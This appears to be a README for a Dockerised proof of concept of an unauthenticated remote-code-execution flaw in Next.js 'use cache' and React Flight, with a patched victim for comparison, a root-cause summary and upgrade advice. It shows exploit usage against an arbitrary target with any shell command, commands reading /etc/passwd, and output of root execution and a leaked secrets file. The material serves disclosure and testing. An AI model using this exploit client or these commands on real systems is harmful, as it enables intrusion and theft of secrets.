
针对 GHSA-673q-mjm6-r5xr 的 Docker 化概念验证:单个未经身份验证的请求即可在 Next.js use cache / React Flight 中实现 RCE,并附带一个已修补的受害版本用于对比。
use cache / React Flight)在返回类型化数组的
use cache函数中实现未认证远程代码执行 Next.js>=16.0.0 <16.4.1· CVSS v4 9.5 严重 · CWE-502(不可信数据反序列化) 上游根本原因:React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-*< 19.2.9/19.1.10/19.0.9/19.3.1)。已在 Next.js 16.4.1 中修复。
一个完全可用、Docker 化、远程的概念验证:网络攻击者发送一个未认证的 HTTP 请求,即可在受害容器内以 root 身份执行任意命令。使用相同源代码构建的已修补受害端则不受影响。
attacker container ──HTTP POST /profile (crafted body)──▶ victim container (Next.js-style
(no privileged access) `use cache` Flight boundary)
▲ │
└──────────── GET /proof ◀── server-side `id`, SECRET.txt exfil ──┘
这是对 Next.js 所内置(react-server-dom-webpack)的 React Server Components Flight 传输协议的独立复现,分别固定到存在漏洞的(19.2.8)和已修补的(19.2.9)版本。完整的根本原因分析请参见 CASE-STUDY.md。
make demo # builds images, starts both victims, pwns the vulnerable one,
# then shows the same exploit fail against the patched one
或逐步进行:
docker compose up -d --build victim victim-patched # :3000 vulnerable, :3001 patched
docker compose run --rm poc # RCE vs :3000 -> exit 0
docker compose run --rm poc-patched # safe vs :3001 -> exit 1
docker compose run --rm evidence # root-cause reproducers, side by side
要求:Docker + Docker Compose。运行时无需互联网访问(仅在构建时拉取固定版本的 npm 包时需要)。
针对存在漏洞的受害端([email protected]):
[+] REMOTE CODE EXECUTION CONFIRMED
command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
host : 648b3c59052e user: root pid: 1
--- command output (executed on the victim) ---
| uid=0(root) gid=0(root) groups=0(root)
|
| === exfiltrated /app/SECRET.txt ===
| DB_PASSWORD=hunter2
| API_KEY=sk-live-7f3c9a21b0e4
| FLAG{GHSA-673q-mjm6-r5xr-rce}
|
| Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux
对于已修补的受害端([email protected]),完全相同的请求会被解码为一张无害的个人资料卡——攻击者的字节始终留在 displayName 字符串内部,永远不会变成协议指令:
[-] No code execution observed. Target is PATCHED.
decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}
受害者使用 Next.js 风格的 use cache 函数缓存用户“个人资料卡”。缓存的值捆绑了两个类型化数组,它们是同一个 ArrayBuffer 的视图(一个 avatar 和一个 thumbnail,从同一张解码后的图像中切片而来——这是一种非常常见的“解码一次、切片多个区域”模式)外加一个攻击者控制的字符串(来自请求的显示名称):
function getProfileCard(displayName) {
'use cache'
const decodedImage = new ArrayBuffer(8192 * 2) // one decoded image
const avatar = new Uint8Array(decodedImage, 0, 8192) // view 1
const thumbnail = new Uint8Array(decodedImage, 8192, 8192) // view 2 — SAME buffer
return { avatar, thumbnail, displayName } // displayName = attacker input
}
当 React 的 Flight 编码器将第一个大型类型化数组流式写入字节 ReadableStream 时,共享的 ArrayBuffer 会被分离(WHATWG Streams 传输语义)。第二个视图的 byteLength 会静默变为 0——而这发生在其分块头已经声明了原始长度之后。随后解码器会过度读取,吞掉流帧结构,并让攻击者的 displayName 字节被解析为原始 Flight 协议行,从而注入攻击者选定的 Server Reference。React 在缓存读取期间调用它 → RCE。完整分析见 CASE-STUDY.md。
.
├── README.md you are here
├── CASE-STUDY.md full root-cause + exploitation write-up
├── docker-compose.yml victim (vuln), victim-patched, poc, evidence
├── Makefile make demo / up / exploit / evidence / clean
├── victim/
│ ├── Dockerfile ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│ ├── server.js faithful Next.js `use cache` encode→store→decode pipeline
│ └── app-modules.js the server module graph the injected reference resolves against
├── poc/
│ ├── Dockerfile
│ └── exploit.js remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
├── 01-encoder-desync.cjs header declares N bytes, writes 0
├── 02-type-confusion-sink.cjs thenable whose .then is a server reference
├── 03-full-chain-rce.cjs desync → injection → command execution
├── run.sh runs all three against vuln AND patched
├── sample-run.txt captured output
└── upstream-diffs/ the real Next.js 16.4.0 → 16.4.1 patch diffs
poc 客户端由标志驱动。请参阅其完整手册:
docker compose run --rm poc -h # or: node poc/exploit.js -h
USAGE
node exploit.js [options]
OPTIONS
-t, --target <url> Base URL of the victim (default: http://localhost:3000)
-c, --cmd <command> Shell command to run on the victim
--timeout <ms> Per-request timeout in ms (default: 15000)
--dry-run Build and print the payload; do not send anything
-h, --help Show this help and exit
--version Print version and exit
示例:
# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'
# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run
# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'
# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile
# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq
将 Next.js 升级到 ≥ 16.4.1(该版本内置了修复后的 React Flight 运行时)。如果你直接依赖
react-server-dom-webpack / -turbopack / -parcel,请升级到 19.2.9、19.1.10、
19.0.9 或 19.3.1。对于受影响的 use cache 函数,不存在应用层面的变通方案——升级是唯一的修复方式。
本 PoC 仅针对它自行构建的两个一次性容器。请仅在你自己拥有或获得明确授权测试的系统上使用它。